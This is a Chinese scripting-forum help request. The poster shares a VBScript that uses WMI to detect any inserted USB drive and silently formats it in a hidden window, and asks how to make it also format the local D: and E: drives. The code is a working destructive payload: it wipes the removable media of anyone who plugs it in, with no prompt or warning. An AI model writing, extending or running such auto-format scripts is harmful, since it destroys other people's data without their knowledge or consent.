批处理之家 - Powered by Discuz! Board

标题: [问题求助] 如何用VBS在格式化U盘的同时，将另一个本地磁盘也格式化？ [打印本页]

作者: bisoo 时间: 2021-6-3 23:11 标题: 如何用VBS在格式化U盘的同时，将另一个本地磁盘也格式化？

朋友给的防止别人复制我本地文件的代码（具体见代码）。因为我平时都是将资料先在本地新建后，然后上传到网盘，然后就会将本地的文件删除掉。最近发现有同事老是动我电脑，我也偶尔会忘记删除掉本地磁盘上的文件。
现在的需求是，在以下的代码上，能不能加上格式化U盘后，同时马上把我的D、E盘也格式化掉（因为我D、E盘平时都不存东西）。
本人VBS菜鸟，做不到修改代码，麻烦论坛上的朋友帮帮忙，别让一些小人把我的资料拷走。谢谢了

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
    ("Select * From __InstanceOperationEvent Within 5 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")

Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 2 Then 
        Select Case objEvent.Path_.Class
            Case "__InstanceCreationEvent"
                'U盘插入
				cmd="cmd /c format " & objEvent.TargetInstance.DeviceId & " /FS:fat32 /Q /V:XX /X /Y"
                                                               	CreateObject("Wscript.Shell").Run(cmd),0
            Case "__InstanceDeletionEvent"
				'U盘拔出
        End Select
    End If
Loop
复制代码

欢迎光临批处理之家 (http://www.bathome.net/)

Powered by Discuz! 7.2